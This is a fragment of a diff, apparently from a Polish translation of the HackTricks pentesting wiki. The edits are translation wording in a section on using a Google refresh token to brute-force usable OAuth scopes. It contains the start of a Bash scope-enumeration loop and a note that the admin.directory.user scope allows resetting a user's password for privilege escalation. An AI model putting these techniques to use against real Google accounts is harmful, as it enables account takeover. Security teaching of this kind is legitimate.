|
||||
|
||||
> [!NOTE]
|
||||
> Zauważ, że nawet posiadając token odświeżania, nie można żądać żadnego zakresu dla tokena dostępu, ponieważ można żądać tylko **zakresów obsługiwanych przez aplikację, w której generujesz token dostępu**.
|
||||
> Zauważ, że nawet posiadając token odświeżający, nie można żądać żadnego zakresu dla tokena dostępu, ponieważ można żądać tylko **zakresów obsługiwanych przez aplikację, w której generujesz token dostępu**.
|
||||
>
|
||||
> Ponadto, token odświeżania nie jest ważny w każdej aplikacji.
|
||||
> Ponadto, token odświeżający nie jest ważny w każdej aplikacji.
|
||||
|
||||
Domyślnie GPS nie będzie miał dostępu jako użytkownik do każdego możliwego zakresu OAuth, więc używając poniższego skryptu możemy znaleźć zakresy, które można wykorzystać z `refresh_token`, aby wygenerować `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skrypt Bash do brute-force zakresów</summary>
|
||||
<summary>Skrypt Bash do brutalnego wymuszania zakresów</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -178,7 +178,7 @@ https://www.googleapis.com/auth/admin.directory.user
|
||||
```
|
||||
Który jest taki sam, jak ten, który otrzymujesz, jeśli nie wskażesz żadnego zakresu.
|
||||
|
||||
> [!OSTRZEŻENIE]
|
||||
> [!CAUTION]
|
||||
> Z tym zakresem możesz **zmodyfikować hasło istniejącego użytkownika, aby zwiększyć uprawnienia**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user